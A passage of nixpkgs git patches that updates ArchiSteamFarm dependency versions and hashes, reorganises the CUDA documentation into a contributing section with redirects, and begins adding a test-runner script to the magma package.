     "pname": "Microsoft.IdentityModel.Logging",
-    "version": "8.11.0",
-    "hash": "sha256-aBJSBytPxw+t68O94B8Sj+PjtBi9c2Csy5x7xyVV4m8="
+    "version": "8.12.1",
+    "hash": "sha256-zliqyeeJ9hvPUxm+rWCHGAH+aR+OeIxNhcKxM6G5AEc="
   },
   {
     "pname": "Microsoft.IdentityModel.Tokens",
-    "version": "8.11.0",
-    "hash": "sha256-9sg63wXOJa2HrQBsC3w0vXsWww7FvCnjrtoaf7OsyuA="
+    "version": "8.12.1",
+    "hash": "sha256-brSDa39ISF1+N8u/b/x27IN3wiu+sTll2nMf+IqWPS0="
   },
   {
     "pname": "Microsoft.NET.Test.Sdk",
@@ -471,23 +466,23 @@
   },
   {
     "pname": "Microsoft.Testing.Extensions.Telemetry",
-    "version": "1.7.1",
-    "hash": "sha256-HpIgMY0LRyeeipkW+rjhsqZnso3bWUTP5GZ4EJfkR0w="
+    "version": "1.7.3",
+    "hash": "sha256-Z6WsY2FCUbNnT5HJd7IOrfOvqknVXp6PWzTVeb0idVg="
   },
   {
     "pname": "Microsoft.Testing.Extensions.TrxReport",
-    "version": "1.7.1",
-    "hash": "sha256-LrNo9GKe7cFL7JXKU4h1jpiGxp5465MRJFWhErfOYOs="
+    "version": "1.7.3",
+    "hash": "sha256-QX6Oo6uI9XWRbgrjdHxzROIhTHm12ai6wIDtDuqDJwA="
   },
   {
     "pname": "Microsoft.Testing.Extensions.TrxReport.Abstractions",
-    "version": "1.7.1",
-    "hash": "sha256-zaDOAoEA4CF6/7rXLBO5f5d8PpcqB7hKlwdEWzaFsNk="
+    "version": "1.7.3",
+    "hash": "sha256-PTee04FHyTHx/gF5NLckXuVje807G51MzkPrZ1gkgCw="
   },
   {
     "pname": "Microsoft.Testing.Extensions.VSTestBridge",
-    "version": "1.7.1",
-    "hash": "sha256-6o3qqXK6dxybHybl2k/aY2flxPc2z/1VQMWQPm2Ns0g="
+    "version": "1.7.3",
+    "hash": "sha256-8d+wZmucfSO7PsviHjVxYB4q6NcjgxvnCUpLePq35sM="
   },
   {
     "pname": "Microsoft.Testing.Platform",
@@ -496,13 +491,13 @@
   },
   {
     "pname": "Microsoft.Testing.Platform",
-    "version": "1.7.1",
-    "hash": "sha256-YJ41q1VXvFZh/TWo3tutGQnhNCrxv/QbDLTxCS4b/w4="
+    "version": "1.7.3",
+    "hash": "sha256-cavX11P5o9rooqC3ZHw5h002OKRg2ZNR/VaRwpNTQYA="
   },
   {
     "pname": "Microsoft.Testing.Platform.MSBuild",
-    "version": "1.7.1",
-    "hash": "sha256-j/JO5dVIHWTbUO12ZZJdQ5CB2TcBqGfZTcmVFuT3nyA="
+    "version": "1.7.3",
+    "hash": "sha256-cREl529UQ/c5atT8KimMgrgNdy6MrAd0sBGT8sXRRPM="
   },
   {
     "pname": "Microsoft.TestPlatform.AdapterUtilities",
@@ -526,23 +521,23 @@
   },
   {
     "pname": "MSTest",
-    "version": "3.9.1",
-    "hash": "sha256-7gpZKkbGRA4kjUMHrE5pgM3jQhzYQxO3RB5OfDz0Ed4="
+    "version": "3.9.3",
+    "hash": "sha256-sfvkUW4AZEmFduiSZYh3ZuXgE8/boC7gYMMleP4nkUA="
   },
   {
     "pname": "MSTest.Analyzers",
-    "version": "3.9.1",
-    "hash": "sha256-jr5UOnoX2mHFjMgo/e//4Fi736mkaYj6ChFuwP8jC2w="
+    "version": "3.9.3",
+    "hash": "sha256-uD74gJNVNSQNsxyzf/5kxCBFbgIY7pYdUrKZihAyLi4="
   },
   {
     "pname": "MSTest.TestAdapter",
-    "version": "3.9.1",
-    "hash": "sha256-nlX47U5Yxds0BXJtwWtMPY+HbEFO8TRr7yC+GS1laxU="
+    "version": "3.9.3",
+    "hash": "sha256-0krWgHpALFJMX707/SMN7b5ryEgm7taCoxtC4WBaglM="
   },
   {
     "pname": "MSTest.TestFramework",
-    "version": "3.9.1",
-    "hash": "sha256-ORwTveV9nPnx4s9av8EFt8MQ4G0pF9M8Ped/ibZXvG4="
+    "version": "3.9.3",
+    "hash": "sha256-kkW155gzuv0xjiucutNs4RjF9g2NEIZ39+nruRun4As="
   },
   {
     "pname": "Newtonsoft.Json",
@@ -646,13 +641,13 @@
   },
   {
     "pname": "Scalar.AspNetCore",
-    "version": "2.4.4",
-    "hash": "sha256-MyNRQMFXIRf6znM3SL3P+Z8jO+3Q5i23TDQuG+ZUcTY="
+    "version": "2.5.3",
+    "hash": "sha256-5rMpkchzxeO3/694RvaVzuQS9Xqd7YGDbBzqCkNyhFs="
   },
   {
     "pname": "SteamKit2",
-    "version": "3.2.0",
-    "hash": "sha256-hB/36fP9kf+1mIx+hTELUMHe8ZkmSKxOK41ZzOaBa3E="
+    "version": "3.3.0",
+    "hash": "sha256-/NxnVDatdrqIXCjs0P4gRjHq42r/K+wOv3JO5yiAIjU="
   },
   {
     "pname": "System.Buffers",
@@ -671,33 +666,33 @@
   },
   {
     "pname": "System.Composition",
-    "version": "9.0.5",
-    "hash": "sha256-Y8MPR8xot93lo4jAgVJ101M+JN973CpvOlCSYUK7wxc="
+    "version": "9.0.6",
+    "hash": "sha256-p8Oa6kjNnwzUPiotQZaLKNd5HWyaLAUrXDEb9+qGe4c="
   },
   {
     "pname": "System.Composition.AttributedModel",
-    "version": "9.0.5",
-    "hash": "sha256-CkqRwQGCRteSmN+nRF0rm8wGf2QA7gfqsVF8lBTg9EE="
+    "version": "9.0.6",
+    "hash": "sha256-39rilNPGuizRbLS9uJf8xKUsJwP6OrwlIrC0b2n2ujI="
   },
   {
     "pname": "System.Composition.Convention",
-    "version": "9.0.5",
-    "hash": "sha256-iaSaDpiep+8dthACDpgN0GJ5jRqLVzCVEKNOHUuy3/0="
+    "version": "9.0.6",
+    "hash": "sha256-/+Os5orfTZ45G+SSccBV21OGlbmqI71wZDTCbzvI3DI="
   },
   {
     "pname": "System.Composition.Hosting",
-    "version": "9.0.5",
-    "hash": "sha256-P98I/5Vs08bDObpicSzHXigXiadJA5uIKqd78WABU40="
+    "version": "9.0.6",
+    "hash": "sha256-krp3xyEOHtF/TRu7GPKaNXe+uKhDRhlNBWAD+eAfyYg="
   },
   {
     "pname": "System.Composition.Runtime",
-    "version": "9.0.5",
-    "hash": "sha256-o4yiU61i6X2Tn20pUrf/psESngE/nGHTlJSe4S7qIQ0="
+    "version": "9.0.6",
+    "hash": "sha256-ou4oVkNKVFcHgBsiKxmBfwLCDRberIlwD1uvR2XfMT8="
   },
   {
     "pname": "System.Composition.TypedParts",
-    "version": "9.0.5",
-    "hash": "sha256-+09hA4PfsR9BLHkV1aadh8Jx10AwcFrG+49U0vMATPU="
+    "version": "9.0.6",
+    "hash": "sha256-2z3Pi2vu6Acyn988JeM2B5jKYxCg8LqV8p+4Z4e094g="
   },
   {
     "pname": "System.Diagnostics.DiagnosticSource",
@@ -711,13 +706,13 @@
   },
   {
     "pname": "System.IO.Hashing",
-    "version": "9.0.4",
-    "hash": "sha256-rbcQzEncB3VuUZIcsE1tq30suf5rvRE4HkE+0lR/skU="
+    "version": "9.0.5",
+    "hash": "sha256-hMAhIhYl1QhtD21kSitvSnsNd9KgSydIRvjwZ/1iFes="
   },
   {
     "pname": "System.Linq.Async",
-    "version": "6.0.1",
-    "hash": "sha256-uH5fZhcyQVtnsFc6GTUaRRrAQm05v5euJyWCXSFSOYI="
+    "version": "6.0.3",
+    "hash": "sha256-i+2XnsOJnD7R/vCFtadp+lwrkDNAscANes2Ur0MSTl8="
   },
   {
     "pname": "System.Memory",
@@ -746,8 +741,8 @@
   },
   {
     "pname": "System.Security.Cryptography.ProtectedData",
-    "version": "9.0.5",
-    "hash": "sha256-Ed2Ea4ssYYHBBeFs0Vva+G8lEF5VFcm+DWJl/xi7arY="
+    "version": "9.0.6",
+    "hash": "sha256-WMa3KDeFuOLyIZduYd+9PCyx7usJMRu/q2x3eOw9MAQ="
   },
   {
     "pname": "System.Security.Principal.Windows",
diff --git a/pkgs/applications/misc/ArchiSteamFarm/web-ui/default.nix b/pkgs/applications/misc/ArchiSteamFarm/web-ui/default.nix
index 059051c06594..c2485455d1a3 100644
--- a/pkgs/applications/misc/ArchiSteamFarm/web-ui/default.nix
+++ b/pkgs/applications/misc/ArchiSteamFarm/web-ui/default.nix
@@ -7,7 +7,7 @@
 
 buildNpmPackage rec {
   pname = "asf-ui";
-  version = "9920764dafb0a7a87c355d9c87aff285e41494be";
+  version = "b984a9de784afb9d11364b3541961888cab8e025";
 
   src = fetchFromGitHub {
     owner = "JustArchiNET";
@@ -15,10 +15,10 @@ buildNpmPackage rec {
     # updated by the update script
     # this is always the commit that should be used with asf-ui from the latest asf version
     rev = version;
-    hash = "sha256-w4pYFCdJiHocy41az4/tjWdBwAdI68RV/N8I0Onsofg=";
+    hash = "sha256-qipcDwn6Jte8MRUIgmYSuMzs4sewItlzFIeupYKkg+A=";
   };
 
-  npmDepsHash = "sha256-V9u+n4CTB+BU0zeiB8vLpFkI2VJGArU6WL+PFfi624M=";
+  npmDepsHash = "sha256-UhakvqDoWxt/nudEqUZcp8Bk0sIdYSXCYHv8YbsrWDU=";
 
   installPhase = ''
     runHook preInstall

From fd4dbd89d436e75f0041b454209af7d72960125c Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Fri, 6 Jun 2025 16:27:55 +0000
Subject: [PATCH 2387/4511] doc: add CUDA contributing section and document
 passthru test attributes

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 91e91bc5963bb23f3f1e17916deb3495701f52b8)
---
 doc/languages-frameworks/cuda.section.md | 234 ++++++++++++++---------
 doc/redirects.json                       |  58 ++++--
 2 files changed, 180 insertions(+), 112 deletions(-)

diff --git a/doc/languages-frameworks/cuda.section.md b/doc/languages-frameworks/cuda.section.md
index 1a40f4cc1a24..39ad3a564b56 100644
--- a/doc/languages-frameworks/cuda.section.md
+++ b/doc/languages-frameworks/cuda.section.md
@@ -65,97 +65,6 @@ for your specific card(s).
 Library maintainers should consult [NVCC Docs](https://docs.nvidia.com/cuda/cuda-compiler-driver-nvcc/)
 and release notes for their software package.
 
-## Adding a new CUDA release {#adding-a-new-cuda-release}
-
-> **WARNING**
->
-> This section of the docs is still very much in progress. Feedback is welcome in GitHub Issues tagging @NixOS/cuda-maintainers or on [Matrix](https://matrix.to/#/#cuda:nixos.org).
-
-The CUDA Toolkit is a suite of CUDA libraries and software meant to provide a development environment for CUDA-accelerated applications. Until the release of CUDA 11.4, NVIDIA had only made the CUDA Toolkit available as a multi-gigabyte runfile installer, which we provide through the [`cudaPackages.cudatoolkit`](https://search.nixos.org/packages?channel=unstable&type=packages&query=cudaPackages.cudatoolkit) attribute. From CUDA 11.4 and onwards, NVIDIA has also provided CUDA redistributables (“CUDA-redist”): individually packaged CUDA Toolkit components meant to facilitate redistribution and inclusion in downstream projects. These packages are available in the [`cudaPackages`](https://search.nixos.org/packages?channel=unstable&type=packages&query=cudaPackages) package set.
-
-All new projects should use the CUDA redistributables available in [`cudaPackages`](https://search.nixos.org/packages?channel=unstable&type=packages&query=cudaPackages) in place of [`cudaPackages.cudatoolkit`](https://search.nixos.org/packages?channel=unstable&type=packages&query=cudaPackages.cudatoolkit), as they are much easier to maintain and update.
-
-### Updating CUDA redistributables {#updating-cuda-redistributables}
-
-1. Go to NVIDIA's index of CUDA redistributables: <https://developer.download.nvidia.com/compute/cuda/redist/>
-2. Make a note of the new version of CUDA available.
-3. Run
-
-   ```bash
-   nix run github:connorbaker/cuda-redist-find-features -- \
-      download-manifests \
-      --log-level DEBUG \
-      --version <newest CUDA version> \
-      https://developer.download.nvidia.com/compute/cuda/redist \
-      ./pkgs/development/cuda-modules/cuda/manifests
-   ```
-
-   This will download a copy of the manifest for the new version of CUDA.
-4. Run
-
-   ```bash
-   nix run github:connorbaker/cuda-redist-find-features -- \
-      process-manifests \
-      --log-level DEBUG \
-      --version <newest CUDA version> \
-      https://developer.download.nvidia.com/compute/cuda/redist \
-      ./pkgs/development/cuda-modules/cuda/manifests
-   ```
-
-   This will generate a `redistrib_features_<newest CUDA version>.json` file in the same directory as the manifest.
-5. Update the `cudaVersionMap` attribute set in `pkgs/development/cuda-modules/cuda/extension.nix`.
-
-### Updating cuTensor {#updating-cutensor}
-
-1. Repeat the steps present in [Updating CUDA redistributables](#updating-cuda-redistributables) with the following changes:
-   - Use the index of cuTensor redistributables: <https://developer.download.nvidia.com/compute/cutensor/redist>
-   - Use the newest version of cuTensor available instead of the newest version of CUDA.
-   - Use `pkgs/development/cuda-modules/cutensor/manifests` instead of `pkgs/development/cuda-modules/cuda/manifests`.
-   - Skip the step of updating `cudaVersionMap` in `pkgs/development/cuda-modules/cuda/extension.nix`.
-
-### Updating supported compilers and GPUs {#updating-supported-compilers-and-gpus}
-
-1. Update `nvccCompatibilities` in `pkgs/development/cuda-modules/_cuda/db/bootstrap/nvcc.nix` to include the newest release of NVCC, as well as any newly supported host compilers.
-2. Update `cudaCapabilityToInfo` in `pkgs/development/cuda-modules/_cuda/db/bootstrap/cuda.nix` to include any new GPUs supported by the new release of CUDA.
-
-### Updating the CUDA Toolkit runfile installer {#updating-the-cuda-toolkit}
-
-> **WARNING**
->
-> While the CUDA Toolkit runfile installer is still available in Nixpkgs as the [`cudaPackages.cudatoolkit`](https://search.nixos.org/packages?channel=unstable&type=packages&query=cudaPackages.cudatoolkit) attribute, its use is not recommended and should it be considered deprecated. Please migrate to the CUDA redistributables provided by the [`cudaPackages`](https://search.nixos.org/packages?channel=unstable&type=packages&query=cudaPackages) package set.
->
-> To ensure packages relying on the CUDA Toolkit runfile installer continue to build, it will continue to be updated until a migration path is available.
-
-1. Go to NVIDIA's CUDA Toolkit runfile installer download page: <https://developer.nvidia.com/cuda-downloads>
-2. Select the appropriate OS, architecture, distribution, and version, and installer type.
-
-   - For example: Linux, x86_64, Ubuntu, 22.04, runfile (local)
-   - NOTE: Typically, we use the Ubuntu runfile. It is unclear if the runfile for other distributions will work.
-
-3. Take the link provided by the installer instructions on the webpage after selecting the installer type and get its hash by running:
-
-   ```bash
-   nix store prefetch-file --hash-type sha256 <link>
-   ```
-
-4. Update `pkgs/development/cuda-modules/cudatoolkit/releases.nix` to include the release.
-
-### Updating the CUDA package set {#updating-the-cuda-package-set}
-
-1. Include a new `cudaPackages_<major>_<minor>` package set in `pkgs/top-level/all-packages.nix`.
-
-   - NOTE: Changing the default CUDA package set should occur in a separate PR, allowing time for additional testing.
-
-2. Successfully build the closure of the new package set, updating `pkgs/development/cuda-modules/cuda/overrides.nix` as needed. Below are some common failures:
-
-| Unable to ... | During ... | Reason | Solution | Note |
-| --- | --- | --- | --- | --- |
-| Find headers | `configurePhase` or `buildPhase` | Missing dependency on a `dev` output | Add the missing dependency | The `dev` output typically contain the headers |
-| Find libraries | `configurePhase` | Missing dependency on a `dev` output | Add the missing dependency | The `dev` output typically contain CMake configuration files |
-| Find libraries | `buildPhase` or `patchelf` | Missing dependency on a `lib` or `static` output | Add the missing dependency | The `lib` or `static` output typically contain the libraries |
-
-In the scenario you are unable to run the resulting binary: this is arguably the most complicated as it could be any combination of the previous reasons. This type of failure typically occurs when a library attempts to load or open a library it depends on that it does not declare in its `DT_NEEDED` section. As a first step, ensure that dependencies are patched with [`autoAddDriverRunpath`](https://search.nixos.org/packages?channel=unstable&type=packages&query=autoAddDriverRunpath). Failing that, try running the application with [`nixGL`](https://github.com/guibou/nixGL) or a similar wrapper tool. If that works, it likely means that the application is attempting to load a library that is not in the `RPATH` or `RUNPATH` of the binary.
-
 ## Running Docker or Podman containers with CUDA support {#cuda-docker-podman}
 
 It is possible to run Docker or Podman containers with CUDA support. The recommended mechanism to perform this task is to use the [NVIDIA Container Toolkit](https://docs.nvidia.com/datacenter/cloud-native/container-toolkit/latest/index.html).
@@ -201,7 +110,7 @@ $ nix run nixpkgs#jq -- -r '.devices[].name' < /var/run/cdi/nvidia-container-too
 all
 ```
 
-### Specifying what devices to expose to the container {#specifying-what-devices-to-expose-to-the-container}
+### Specifying what devices to expose to the container {#cuda-specifying-what-devices-to-expose-to-the-container}
 
 You can choose what devices are exposed to your containers by using the identifier on the generated CDI specification. Like follows:
 
@@ -222,7 +131,7 @@ GPU 1: NVIDIA GeForce RTX 2080 SUPER (UUID: <REDACTED>)
 By default, the NVIDIA Container Toolkit will use the GPU index to identify specific devices. You can change the way to identify what devices to expose by using the `hardware.nvidia-container-toolkit.device-name-strategy` NixOS attribute.
 :::
 
-### Using docker-compose {#using-docker-compose}
+### Using docker-compose {#cuda-using-docker-compose}
 
 It's possible to expose GPU's to a `docker-compose` environment as well. With a `docker-compose.yaml` file like follows:
 
@@ -256,3 +165,142 @@ services:
             - nvidia.com/gpu=0
             - nvidia.com/gpu=1
 ```
+
+## Contributing {#cuda-contributing}
+
+::: {.warning}
+This section of the docs is still very much in progress. Feedback is welcome in GitHub Issues tagging @NixOS/cuda-maintainers or on [Matrix](https://matrix.to/#/#cuda:nixos.org).
+:::
+
+### Package set maintenance {#cuda-package-set-maintenance}
+
+The CUDA Toolkit is a suite of CUDA libraries and software meant to provide a development environment for CUDA-accelerated applications. Until the release of CUDA 11.4, NVIDIA had only made the CUDA Toolkit available as a multi-gigabyte runfile installer, which we provide through the [`cudaPackages.cudatoolkit`](https://search.nixos.org/packages?channel=unstable&type=packages&query=cudaPackages.cudatoolkit) attribute. From CUDA 11.4 and onwards, NVIDIA has also provided CUDA redistributables (“CUDA-redist”): individually packaged CUDA Toolkit components meant to facilitate redistribution and inclusion in downstream projects. These packages are available in the [`cudaPackages`](https://search.nixos.org/packages?channel=unstable&type=packages&query=cudaPackages) package set.
+
+All new projects should use the CUDA redistributables available in [`cudaPackages`](https://search.nixos.org/packages?channel=unstable&type=packages&query=cudaPackages) in place of [`cudaPackages.cudatoolkit`](https://search.nixos.org/packages?channel=unstable&type=packages&query=cudaPackages.cudatoolkit), as they are much easier to maintain and update.
+
+#### Updating redistributables {#cuda-updating-redistributables}
+
+1. Go to NVIDIA's index of CUDA redistributables: <https://developer.download.nvidia.com/compute/cuda/redist/>
+2. Make a note of the new version of CUDA available.
+3. Run
+
+   ```bash
+   nix run github:connorbaker/cuda-redist-find-features -- \
+      download-manifests \
+      --log-level DEBUG \
+      --version <newest CUDA version> \
+      https://developer.download.nvidia.com/compute/cuda/redist \
+      ./pkgs/development/cuda-modules/cuda/manifests
+   ```
+
+   This will download a copy of the manifest for the new version of CUDA.
+4. Run
+
+   ```bash
+   nix run github:connorbaker/cuda-redist-find-features -- \
+      process-manifests \
+      --log-level DEBUG \
+      --version <newest CUDA version> \
+      https://developer.download.nvidia.com/compute/cuda/redist \
+      ./pkgs/development/cuda-modules/cuda/manifests
+   ```
+
+   This will generate a `redistrib_features_<newest CUDA version>.json` file in the same directory as the manifest.
+5. Update the `cudaVersionMap` attribute set in `pkgs/development/cuda-modules/cuda/extension.nix`.
+
+#### Updating cuTensor {#cuda-updating-cutensor}
+
+1. Repeat the steps present in [Updating CUDA redistributables](#cuda-updating-redistributables) with the following changes:
+   - Use the index of cuTensor redistributables: <https://developer.download.nvidia.com/compute/cutensor/redist>
+   - Use the newest version of cuTensor available instead of the newest version of CUDA.
+   - Use `pkgs/development/cuda-modules/cutensor/manifests` instead of `pkgs/development/cuda-modules/cuda/manifests`.
+   - Skip the step of updating `cudaVersionMap` in `pkgs/development/cuda-modules/cuda/extension.nix`.
+
+#### Updating supported compilers and GPUs {#cuda-updating-supported-compilers-and-gpus}
+
+1. Update `nvccCompatibilities` in `pkgs/development/cuda-modules/_cuda/data/nvcc.nix` to include the newest release of NVCC, as well as any newly supported host compilers.
+2. Update `cudaCapabilityToInfo` in `pkgs/development/cuda-modules/_cuda/data/cuda.nix` to include any new GPUs supported by the new release of CUDA.
+
+#### Updating the CUDA Toolkit runfile installer {#cuda-updating-the-cuda-toolkit}
+
+::: {.warning}
+While the CUDA Toolkit runfile installer is still available in Nixpkgs as the [`cudaPackages.cudatoolkit`](https://search.nixos.org/packages?channel=unstable&type=packages&query=cudaPackages.cudatoolkit) attribute, its use is not recommended, and it should be considered deprecated. Please migrate to the CUDA redistributables provided by the [`cudaPackages`](https://search.nixos.org/packages?channel=unstable&type=packages&query=cudaPackages) package set.
+
+To ensure packages relying on the CUDA Toolkit runfile installer continue to build, it will continue to be updated until a migration path is available.
+:::
+
+1. Go to NVIDIA's CUDA Toolkit runfile installer download page: <https://developer.nvidia.com/cuda-downloads>
+2. Select the appropriate OS, architecture, distribution, and version, and installer type.
+
+   - For example: Linux, x86_64, Ubuntu, 22.04, runfile (local)
+   - NOTE: Typically, we use the Ubuntu runfile. It is unclear if the runfile for other distributions will work.
+
+3. Take the link provided by the installer instructions on the webpage after selecting the installer type and get its hash by running:
+
+   ```bash
+   nix store prefetch-file --hash-type sha256 <link>
+   ```
+
+4. Update `pkgs/development/cuda-modules/cudatoolkit/releases.nix` to include the release.
+
+#### Updating the CUDA package set {#cuda-updating-the-cuda-package-set}
+
+1. Include a new `cudaPackages_<major>_<minor>` package set in `pkgs/top-level/all-packages.nix`.
+
+   - NOTE: Changing the default CUDA package set should occur in a separate PR, allowing time for additional testing.
+
+2. Successfully build the closure of the new package set, updating `pkgs/development/cuda-modules/cuda/overrides.nix` as needed. Below are some common failures:
+
+| Unable to ...  | During ...                       | Reason                                           | Solution                   | Note                                                         |
+| -------------- | -------------------------------- | ------------------------------------------------ | -------------------------- | ------------------------------------------------------------ |
+| Find headers   | `configurePhase` or `buildPhase` | Missing dependency on a `dev` output             | Add the missing dependency | The `dev` output typically contains the headers               |
+| Find libraries | `configurePhase`                 | Missing dependency on a `dev` output             | Add the missing dependency | The `dev` output typically contains CMake configuration files |
+| Find libraries | `buildPhase` or `patchelf`       | Missing dependency on a `lib` or `static` output | Add the missing dependency | The `lib` or `static` output typically contains the libraries |
+
+Failure to run the resulting binary is typically the most challenging to diagnose, as it may involve a combination of the aforementioned issues. This type of failure typically occurs when a library attempts to load or open a library it depends on that it does not declare in its `DT_NEEDED` section. Try the following debugging steps:
+
+1. First ensure that dependencies are patched with [`autoAddDriverRunpath`](https://search.nixos.org/packages?channel=unstable&type=packages&query=autoAddDriverRunpath).
+2. Failing that, try running the application with [`nixGL`](https://github.com/guibou/nixGL) or a similar wrapper tool.
+3. If that works, it likely means that the application is attempting to load a library that is not in the `RPATH` or `RUNPATH` of the binary.
+
+### Writing tests {#cuda-writing-tests}
+
+::: {.caution}
+The existence of `passthru.testers` and `passthru.tests` should be considered an implementation detail -- they are not meant to be a public or stable interface.
+:::
+
+In general, there are two attribute sets in `passthru` that are used to build and run tests for CUDA packages: `passthru.testers` and `passthru.tests`. Each attribute set may contain an attribute set named `cuda`, which contains CUDA-specific derivations. The `cuda` attribute set is used to separate CUDA-specific derivations from those which support multiple implementations (e.g., OpenCL, ROCm, etc.) or have different licenses. For an example of such generic derivations, see the `magma` package.
+
+::: {.note}
+Derivations are nested under the `cuda` attribute due to an OfBorg quirk: if evaluation fails (e.g., because of unfree licenses), the entire enclosing attribute set is discarded. This prevents other attributes in the set from being discovered, evaluated, or built.
+:::
+
+#### `passthru.testers` {#cuda-passthru-testers}
+
+Attributes added to `passthru.testers` are derivations which produce an executable which runs a test. The produced executable should:
+
+- Take care to set up the environment, make temporary directories, and so on.
+- Be registered as the derivation's `meta.mainProgram` so that it can be run directly.
+
+::: {.note}
+Testers which always require CUDA should be placed in `passthru.testers.cuda`, while those which are generic should be placed in `passthru.testers`.
+:::
+
+The `passthru.testers` attribute set allows running tests outside the Nix sandbox. There are a number of reasons why this is useful, since such a test:
+
+- Can be run on non-NixOS systems, when wrapped with utilities like `nixGL` or `nix-gl-host`.
+- Has network access patterns which are difficult or impossible to sandbox.
+- Is free to produce output which is not deterministic, such as timing information.
+
+#### `passthru.tests` {#cuda-passthru-tests}
+
+Attributes added to `passthru.tests` are derivations which run tests inside the Nix sandbox. Tests should:
+
+- Use the executables produced by `passthru.testers`, where possible, to avoid duplication of test logic.
+- Include `requiredSystemFeatures = [ "cuda" ];`, possibly conditioned on the value of `cudaSupport` if they are generic, to ensure that they are only run on systems exposing a CUDA-capable GPU.
+
+::: {.note}
+Tests which always require CUDA should be placed in `passthru.tests.cuda`, while those which are generic should be placed in `passthru.tests`.
+:::
+
+This is useful for tests which are deterministic (e.g., checking exit codes) and which can be provided with all necessary resources in the sandbox.
diff --git a/doc/redirects.json b/doc/redirects.json
index 69898bcf52ca..b3d783adead9 100644
--- a/doc/redirects.json
+++ b/doc/redirects.json
@@ -2684,33 +2684,53 @@
   "cuda": [
     "index.html#cuda"
   ],
-  "adding-a-new-cuda-release": [
-    "index.html#adding-a-new-cuda-release"
-  ],
-  "updating-cuda-redistributables": [
-    "index.html#updating-cuda-redistributables"
-  ],
-  "updating-cutensor": [
-    "index.html#updating-cutensor"
-  ],
-  "updating-supported-compilers-and-gpus": [
-    "index.html#updating-supported-compilers-and-gpus"
-  ],
-  "updating-the-cuda-toolkit": [
-    "index.html#updating-the-cuda-toolkit"
-  ],
-  "updating-the-cuda-package-set": [
-    "index.html#updating-the-cuda-package-set"
+  "cuda-contributing": [
+    "index.html#cuda-contributing"
   ],
   "cuda-docker-podman": [
     "index.html#cuda-docker-podman"
   ],
-  "specifying-what-devices-to-expose-to-the-container": [
+  "cuda-package-set-maintenance": [
+    "index.html#cuda-package-set-maintenance",
+    "index.html#adding-a-new-cuda-release"
+  ],
+  "cuda-passthru-testers": [
+    "index.html#cuda-passthru-testers"
+  ],
+  "cuda-passthru-tests": [
+    "index.html#cuda-passthru-tests"
+  ],
+  "cuda-specifying-what-devices-to-expose-to-the-container": [
+    "index.html#cuda-specifying-what-devices-to-expose-to-the-container",
     "index.html#specifying-what-devices-to-expose-to-the-container"
   ],
-  "using-docker-compose": [
+  "cuda-updating-redistributables": [
+    "index.html#cuda-updating-redistributables",
+    "index.html#updating-cuda-redistributables"
+  ],
+  "cuda-updating-cutensor": [
+    "index.html#cuda-updating-cutensor",
+    "index.html#updating-cutensor"
+  ],
+  "cuda-updating-supported-compilers-and-gpus": [
+    "index.html#cuda-updating-supported-compilers-and-gpus",
+    "index.html#updating-supported-compilers-and-gpus"
+  ],
+  "cuda-updating-the-cuda-package-set": [
+    "index.html#cuda-updating-the-cuda-package-set",
+    "index.html#updating-the-cuda-package-set"
+  ],
+  "cuda-updating-the-cuda-toolkit": [
+    "index.html#cuda-updating-the-cuda-toolkit",
+    "index.html#updating-the-cuda-toolkit"
+  ],
+  "cuda-using-docker-compose": [
+    "index.html#cuda-using-docker-compose",
     "index.html#using-docker-compose"
   ],
+  "cuda-writing-tests": [
+    "index.html#cuda-writing-tests"
+  ],
   "cuelang": [
     "index.html#cuelang"
   ],

From 4248e7c8cccdb19505ed531d418e4635c5bb2f19 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Fri, 6 Jun 2025 13:29:59 -0700
Subject: [PATCH 2388/4511] magma: add passthru.testers and passthru.tests

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit be7e126e474c29cefe66070743d001404b257fe0)
---
 .../libraries/science/math/magma/generic.nix  | 143 +++++++++++++++++-
 1 file changed, 141 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/libraries/science/math/magma/generic.nix b/pkgs/development/libraries/science/math/magma/generic.nix
index c7938b98368a..394e249abc7e 100644
--- a/pkgs/development/libraries/science/math/magma/generic.nix
+++ b/pkgs/development/libraries/science/math/magma/generic.nix
@@ -27,8 +27,10 @@
   # At least one back-end has to be enabled,
   # and we can't default to CUDA since it's unfree
   rocmSupport ? !cudaSupport,
+  runCommand,
   static ? stdenv.hostPlatform.isStatic,
   stdenv,
+  writeShellApplication,
 }:
 
 let
@@ -104,7 +106,7 @@ in
 
 assert (builtins.match "[^[:space:]]*" gpuTargetString) != null;
 
-stdenv.mkDerivation {
+stdenv.mkDerivation (finalAttrs: {
   pname = "magma";
   inherit version;
 
@@ -241,6 +243,143 @@ stdenv.mkDerivation {
   passthru = {
     inherit cudaSupport rocmSupport gpuTargets;
     cudaPackages = effectiveCudaPackages;
+    testers = {
+      all =
+        let
+          magma = finalAttrs.finalPackage;
+        in
+        writeShellApplication {
+          derivationArgs = {
+            __structuredAttrs = true;
+            strictDeps = true;
+          };
+          name = "magma-testers-all";
+          text = ''
+            logWithDate() {
+              printf "%s: %s\n" "$(date --utc --iso-8601=seconds)" "$*"
+            }
+
+            isIgnoredTest() {
+              case $1 in
+                # Skip the python scripts
+                *.py) return 0 ;;
+
+                # These test require files, so we skip them
+                testing_?io) ;&
+                testing_?madd) ;&
+                testing_?matrix) ;&
+                testing_?matrixcapcup) ;&
+                testing_?matrixinfo) ;&
+                testing_?mcompressor) ;&
+                testing_?mconverter) ;&
+                testing_?preconditioner) ;&
+                testing_?solver) ;&
+                testing_?solver_rhs) ;&
+                testing_?solver_rhs_scaling) ;&
+                testing_?sort) ;&
+                testing_?spmm) ;&
+                testing_?spmv) ;&
+                testing_?spmv_check) ;&
+                testing_?sptrsv) ;&
+                testing_dsspmv_mixed) ;&
+                testing_zcspmv_mixed)
+                  logWithDate "skipping $1 because it requires input"
+                  return 0
+                  ;;
+
+                # These test require outputing to files, so we skip them
+                testing_?print)
+                  logWithDate "skipping $1 because it requires creating output"
+                  return 0
+                  ;;
+
+                # These test succeed but exit with a non-zero code
+                testing_[cdz]gglse) ;&
+                testing_sgemm_fp16)
+                  logWithDate "skipping $1 because has a non-zero exit code"
+                  return 0
+                  ;;
+
+                # These test have memory freeing/allocation errors:
+                testing_?mdotc)
+                  logWithDate "skipping $1 because it fails to allocate or free memory"
+                  return 0
+                  ;;
+
+                # Test is not ignored otherwise.
+                *) return 1 ;;
